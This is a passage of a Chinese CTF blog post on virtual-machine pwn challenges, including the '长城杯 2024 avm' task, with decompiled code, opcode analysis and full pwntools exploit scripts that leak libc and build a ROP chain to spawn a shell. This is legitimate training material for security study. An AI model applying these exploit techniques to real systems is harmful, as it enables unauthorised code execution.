由于此时 top=-1,加上 -21 就是 -22 也就是 puts_got 的索引,这样就可以将puts_got 写到当前 stack

操作完 top=0

然后需要加上 puts_got 和 system 之间的偏移,就可以得到 system 地址

1
2
push add
-offset

此时 top=0

然后将该地址写到 puts_got 即可

1
2
push save
-21

由于 save 会两次 get_value 会让 top-=2 变为 -1,所以偏移还是 -21 即可

效果:

接着运行就可以得到 flag 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=process('./vm2')
# r=remote("node5.buuoj.cn",27721)
libc=ELF('./libc-2.23.so')
r.sendlineafter("Your program name:\n",b'/bin/sh\x00')
r.sendlineafter("Your instruction:\n",b'push push save push load push add push save')
offset=libc.sym['puts']-libc.sym['system']
print(hex(offset))
pause()
r.sendlineafter("Your stack data:\n",str(0x4040d0)+" "+str(-3)+" "+str(-21)+" "+str(-offset)+" "+str(-21))
r.interactive()
pause()

[长城杯 2024]avm

checksec

1
2
3
4
5
6
7
8
9
yyyffff@yyyffff-virtual-machine:~/桌面/avm$ checksec pwn
[*] '/home/yyyffff/桌面/avm/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[3080]; // [rsp+0h] [rbp-C10h] BYREF
unsigned __int64 v5; // [rsp+C08h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_11E9();
memset(s, 0, 0x300uLL);
write(1, "opcode: ", 8uLL);
read(0, s, 0x300uLL);
sub_1230(qword_40C0, (__int64)s, 768LL);
sub_19F1(qword_40C0);
return v5 - __readfsqword(0x28u);
}

可以看到是输入opcode到s里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 a2, __int64 a3)
{
_QWORD *result; // rax
int i; // [rsp+24h] [rbp-4h]

a1[33] = a2;
a1[34] = a3;
result = a1;
a1[32] = 0LL;
for ( i = 0; i <= 31; ++i )
{
result = a1;
a1[i] = 0LL;
}
return result;
}

a1就是 main 函数里的 qword_40c0,一个bss段中的地址

a1[33] 改为输入的 opcode

a1[34]改为 768(可能是作为指令的最大长度,具体作用不清楚)

a1[32]改为0,这个是指令计数器,后面具体操作中会自增

接着将 a1[0~31] 全改成0,这是自己定义的寄存器

所以我们可以重新用IDA定义一个结构体,后文会看的更清晰

View->Open subviews->Local types->空白区域右键->Inseart->

1
2
3
4
5
6
7
struct vm_ctx
{
uint64_t regs[32];
uint64_t pc;
uint64_t code_base;
uint64_t code_size;
};

然后在每一个有用到该指针的地方按Y->输入vm_ctx->\n即可

继续看 main 函数里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_19F1(vm_ctx *a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-114h]
char s[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+128h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x100uLL);
while ( a1->pc < a1->code_size )
{
v2 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCLL)) >> 28;// 拆解opcode
if ( v2 > 0xA || !v2 )
{
puts("Unsupported instruction");
return v4 - __readfsqword(0x28u);
}
((void (__fastcall *)(vm_ctx *, char *))funcs_1AAD[v2])(a1, s);// 执行对应的操作
}
return v4 - __readfsqword(0x28u);
}

对刚才的 opcode 进行分析,指令基部加上指令计数器后 >>28(取最高位,比如 0x12345678取得就是 0x1)

然后根据取出来的不同结果,去进行不同的操作

下面对这些函数分析

add

1
2
3
4
5
6
7
8
9
10
11
vm_ctx *__fastcall add(vm_ctx *a1)
{
vm_ctx *result; // rax
unsigned int v2; // [rsp+10h] [rbp-10h]

v2 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCLL));
a1->pc += 4LL; // 指令寄存器+4
result = a1;
a1->regs[v2 & 0x1F] = a1->regs[HIWORD(v2) & 0x1F] + a1->regs[(v2 >> 5) & 0x1F];
return result;
}

首先取出指令

指令寄存器 +4,说明每一条指令是 4 字节,也就是 8 位 16 进制数,也就是 p32

根据加法运算可以推测

  • v2&0x1f 是目标寄存器,其中 v2&0x1f 是取操作数的最后 5 位,
  • HIWORD(v2)&0x1f 是取高两个字节的最后 5 位,作为操作数 1
  • (v2>>5)&0x1f 是取第 5-9 位,作为操作数 2

所以我们可以写出生成 opcode 的函数

1
2
3
def opcode(op, dst, src1, src2):
instr = ((op ) << 28)+((src1) << 16)+((src2 ) << 5)+(dst )
return instr

下面 7 种操作跟 add 完全一样,只不过 + 号被换成对应的符号了,所以直接来看 0x9 和 0xa 的操作

sub_175D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall sub_175D(vm_ctx *a1, __int64 a2)
{
unsigned __int64 result; // rax
unsigned int v3; // [rsp+20h] [rbp-20h]
_QWORD *v4; // [rsp+30h] [rbp-10h]

v3 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCLL));// 取出的opcode
a1->pc += 4LL;
result = (unsigned __int8)byte_4010; // 0xff
if ( (unsigned __int8)(a1->regs[(v3 >> 5) & 0x1F] + BYTE2(v3)) < (unsigned __int8)byte_4010 )// 貌似没啥用
{
v4 = (_QWORD *)((unsigned __int16)(a1->regs[(v3 >> 5) & 0x1F] + (HIWORD(v3) & 0xFFF)) + a2);
*v4 = a1->regs[v3 & 0x1F];
return (unsigned __int64)v4;
}
return result;
}

其中 result=0xff 作为下面 if 的依据,不过 8 位的 unsigned int 最大也就是 0xff,所以这里的 if 语句不必理会

该函数作用就是向栈(系统给的)上写入数据

  • 取(unsigned __int16)(a1->regs[(v3 >> 5) & 0x1F] + (HIWORD(v3) & 0xFFF)) + a2 作为写入的地址
    • 其中 a1->regs[(v3 >> 5) & 0x1F] 我们可以直接将其设为0,比如用 a1->regs[30](最开始初始化将所有寄存器都设为0)
    • HIWORD(v3) & 0xFFF 就是高字节的后 12 位 (比如0x12345678对应的就是0x234),我们直接用这个来控制偏移,发现该数我们可以直接用 src1来控制,因为操作码不会超过 0xA,后三个16进制数完全由 src1 控制,比如 opcode(10,2,0x160,30) 就会令该数为 0x160
    • a2 是传进来的栈上的地址
  • 然后往该地址处写入 a1->regs[v3 & 0x1F] 就是 regs[dst]

sub_189B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vm_ctx *__fastcall sub_189B(vm_ctx *a1, __int64 a2)
{
vm_ctx *result; // rax
unsigned __int16 v3; // [rsp+1Eh] [rbp-22h]
unsigned int v4; // [rsp+20h] [rbp-20h]

v4 = *(_DWORD *)(a1->code_base + (a1->pc & 0xFFFFFFFFFFFFFFFCLL));
a1->pc += 4LL;
result = (vm_ctx *)(unsigned __int8)byte_4010;
if ( (unsigned __int8)(a1->regs[(v4 >> 5) & 0x1F] + BYTE2(v4)) < (unsigned __int8)byte_4010 )
{
result = a1;
v3 = a1->regs[(v4 >> 5) & 0x1F] + (HIWORD(v4) & 0xFFF);
a1->regs[v4 & 0x1F] = ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 7) << 56) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 6) << 48) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 5) << 40) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 4) << 32) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 3) << 24) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 2) << 16) | *(unsigned __int16 *)(v3 + a2);
}
return result;
}

作用跟上面的函数是反过来的,其中很多的|其实就是按字节来写入,总体上就是将一个地址上的输入写到 regs[dst] 上

if 语句跟上面函数一样,不必理会

思路

跟 ret2libc 差不多,想办法泄露出 libc 基址,然后用 0x9 来写到 main 函数返回地址处即可

将断点下在

1
a1->regs[v4 & 0x1F] = ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 7) << 56) | ((unsigned __int64)*(unsigned __int8 *)(v3 + a2 + 6) << 48) .......

观察栈上情况

发现 rsi 在 +0x30 处(rsi 作为函数的第二个参数,也就是上一层函数的栈上地址,其偏移待会儿需要减去)

而发现在 0xe08处有一个 __libc_start_main+128 的地址

确定偏移为 0xe08-0x30=0xdd8

我们将这个地址写到 regs[1] 上

1
payload=p32(opcode(10,1,0xdd8,1)) # reg[1]=libc_start_main+128

然后我们将各种 offset 写到栈上然后再来读取,读取后利用add ,sub可以计算中各种函数及gadgets的地址

各种偏移需要下断点来栈上查看

具体操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload=p32(opcode(10,1,0xdd8,1)) # reg[1]=libc_start_main+128
payload+=p32(opcode(10,2,0x160,30)) # reg[2]=offset
payload+=p32(opcode(2,3,2,1)) # reg[3]=reg[1]-reg[2]=libcbase
payload+=p32(opcode(10,4,0x168,30)) # reg[4]=ret_offset
payload+=p32(opcode(1,5,3,4)) # reg[5]=reg[3]+reg[4]=ret_addr
payload+=p32(opcode(10,6,0x170,30)) # reg[6]=rdi_offset
payload+=p32(opcode(1,7,6,3)) # reg[7]=reg[6]+reg[3]=rdi_addr
payload+=p32(opcode(10,8,0x178,30)) # reg[8]=binsh_offset
payload+=p32(opcode(1,9,8,3)) # reg[9]=reg[8]+reg[3]=binsh_addr
payload+=p32(opcode(10,10,0x180,30)) # reg[10]=system_offset
payload+=p32(opcode(1,11,10,3)) # reg[11]=reg[10]+reg[3]=system_addr
payload+=p32(opcode(9,5,0xd38,30)) # ret
payload+=p32(opcode(9,7,0xd40,30)) # rdi
payload+=p32(opcode(9,9,0xd48,30)) # binsh
payload+=p32(opcode(9,11,0xd50,30)) # system
payload+=b'aaaa'

payload+=p64(offset)+p64(ret_offset)+p64(rdi_offset)+p64(binsh_offset)+p64(system_offset)

后面就是将各种地址写到 main 的返回地址处即可

最后 main 函数返回地址处类似于

1
p64(ret)+p64(pop_rdi_ret_addr)+p64(binsh_addr)+p64(system_addr)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def opcode(op, dst, src1, src2):
instr = ((op ) << 28)+((src1) << 16)+((src2 ) << 5)+(dst )
return instr

r=process('./pwn')
# r=remote("node1.anna.nssctf.cn",28517)
r.recvuntil("opcode: ")

offset=libc.sym['__libc_start_main']+128
system_offset=libc.sym['system']
binsh_offset=next(libc.search(b'/bin/sh'))
ret_offset=0x29139
rdi_offset=0x2a3e5 # main_ret=0xd38
one_gadget=0xebd43
payload=p32(opcode(10,1,0xdd8,1)) # reg[1]=libc_start_main+128
payload+=p32(opcode(10,2,0x160,30)) # reg[2]=offset
payload+=p32(opcode(2,3,2,1)) # reg[3]=reg[1]-reg[2]=libcbase
payload+=p32(opcode(10,4,0x168,30)) # reg[4]=ret_offset
payload+=p32(opcode(1,5,3,4)) # reg[5]=reg[3]+reg[4]=ret_addr
payload+=p32(opcode(10,6,0x170,30)) # reg[6]=rdi_offset
payload+=p32(opcode(1,7,6,3)) # reg[7]=reg[6]+reg[3]=rdi_addr
payload+=p32(opcode(10,8,0x178,30)) # reg[8]=binsh_offset
payload+=p32(opcode(1,9,8,3)) # reg[9]=reg[8]+reg[3]=binsh_addr
payload+=p32(opcode(10,10,0x180,30)) # reg[10]=system_offset
payload+=p32(opcode(1,11,10,3)) # reg[11]=reg[10]+reg[3]=system_addr
payload+=p32(opcode(9,5,0xd38,30)) # ret
payload+=p32(opcode(9,7,0xd40,30)) # rdi
payload+=p32(opcode(9,9,0xd48,30)) # binsh
payload+=p32(opcode(9,11,0xd50,30)) # system
payload+=b'aaaa'

payload+=p64(offset)+p64(ret_offset)+p64(rdi_offset)+p64(binsh_offset)+p64(system_offset)
'''
rsp=0x7ffc7aa35e40
bss=0x64f8cc60c0c0
main_ret=0x7ffffa2cd898
pause()
'''
r.send(payload)
r.interactive()

VM pwn
http://yyyffff.github.io/2025/07/09/VM pwn/
作者
yyyffff
发布于
2025年7月9日
许可协议